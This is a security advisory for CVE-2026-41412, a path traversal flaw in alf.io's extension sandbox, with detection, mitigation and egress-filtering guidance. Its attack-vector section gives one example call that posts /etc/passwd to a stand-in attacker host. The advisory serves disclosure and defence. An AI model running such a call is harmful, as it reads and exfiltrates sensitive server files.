CVE-2026-41412 Overview
CVE-2026-41412 is a path traversal vulnerability [CWE-22] in alf.io, an open source ticket reservation system for conferences, trade shows, workshops, and meetups. Versions prior to 2.0-M5-2606 inject a fully-functional HTTP client (simpleHttpClient) into every extension script's scope. The postFileAndSaveResponse() method accepts an arbitrary filesystem path as its file parameter and reads contents using new FileInputStream(file) without path validation, directory restriction, or allowlist enforcement. A malicious extension script can read any file accessible to the Java Virtual Machine (JVM) process user and exfiltrate it to an attacker-controlled server via HTTP POST. Version 2.0-M5-2606 patches the issue.
Critical Impact
Authenticated attackers with extension authoring privileges can read arbitrary files accessible to the alf.io JVM process and exfiltrate them to external servers.
Affected Products
- alf.io versions prior to 2.0-M5-2606
- alf.io extension sandbox component (simpleHttpClient)
- Self-hosted alf.io deployments exposing extension authoring
Discovery Timeline
- 2026-06-02 - CVE-2026-41412 published to the National Vulnerability Database (NVD)
- 2026-06-03 - Last updated in NVD database
Technical Details for CVE-2026-41412
Vulnerability Analysis
The vulnerability resides in the alf.io extension sandbox, which exposes a helper object named simpleHttpClient to every extension script. One method on that client, postFileAndSaveResponse(), takes a file argument representing a filesystem path and uses new FileInputStream(file) to load the content for transmission. The sandbox performs no canonicalization, no parent-directory check, and no allowlist against the supplied path.
An extension author can therefore pass any path the JVM user can read. The method then posts the resulting bytes to an HTTP endpoint controlled by the script. This converts the extension surface into a file read and exfiltration primitive against the host running alf.io.
The impact concentrates on confidentiality. The CVSS vector reflects a high-privilege precondition because the actor must be able to deploy or modify an extension. Targets typically include configuration files, database credentials, deployment secrets, and any application-readable artifacts on disk.
Root Cause
The root cause is missing input validation on a sandbox-exposed API [CWE-22]. The sandbox treats the file parameter as trusted and bypasses any restriction to a designated extension working directory. Effective sandboxes constrain file access to a known root and reject traversal sequences before opening a stream.
Attack Vector
Exploitation requires the ability to author or modify an alf.io extension script. An attacker abuses that capability to call simpleHttpClient.postFileAndSaveResponse('/etc/passwd', 'https://attacker.example/collect') or similar paths targeting database configuration, private keys, or session stores. The HTTP POST executes from the alf.io server, so egress filtering is the only network-layer barrier.
No verified proof-of-concept code is published. Refer to the GitHub Security Advisory GHSA-6m62-53cw-4373 for vendor technical details.
Detection Methods for CVE-2026-41412
Indicators of Compromise
- Outbound HTTP POST requests from the alf.io JVM process to unfamiliar external hosts, particularly with file-like payloads.
- Extension script changes referencing simpleHttpClient.postFileAndSaveResponse with absolute paths outside the extension working directory.
- Read access in audit logs to sensitive paths such as /etc/passwd, application.properties, or keystore files from the alf.io service user.
Detection Strategies
- Inspect the alf.io extension repository for scripts invoking postFileAndSaveResponse with paths that traverse outside the extension sandbox root.
- Correlate outbound web traffic from the application server with extension execution timestamps to identify exfiltration patterns.
- Hash and review all installed extensions against a known-good baseline after upgrades or administrator changes.
Monitoring Recommendations
- Enable file integrity monitoring on configuration directories, secrets, and credential stores accessible to the JVM user.
- Log and alert on every administrative change to the extensions table or extension files in alf.io.
- Restrict outbound network egress from the alf.io host to a small allowlist of required destinations.
How to Mitigate CVE-2026-41412
Immediate Actions Required
- Upgrade alf.io to version 2.0-M5-2606 or later, which patches the unvalidated path in postFileAndSaveResponse().
- Audit the extensions table and remove any extension that calls simpleHttpClient.postFileAndSaveResponse with paths outside the extension working directory.
- Rotate credentials, API keys, and certificates that were readable by the alf.io JVM user if extension authoring was exposed to untrusted accounts.
Patch Information
The upstream fix is shipped in alf.io 2.0-M5-2606. Patch notes and remediation context are published in the alf.io GitHub Security Advisory.
Workarounds
- Restrict extension authoring to a minimal set of trusted administrators until patching completes.
- Apply egress filtering on the alf.io host so the JVM cannot reach arbitrary external endpoints.
- Run alf.io as a low-privilege service account with read access limited to its required configuration and data directories.
# Example: restrict outbound egress from the alf.io host with iptables
iptables -A OUTPUT -m owner --uid-owner alfio -d <db_host> -p tcp --dport 5432 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner alfio -d <smtp_host> -p tcp --dport 587 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner alfio -j REJECT
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
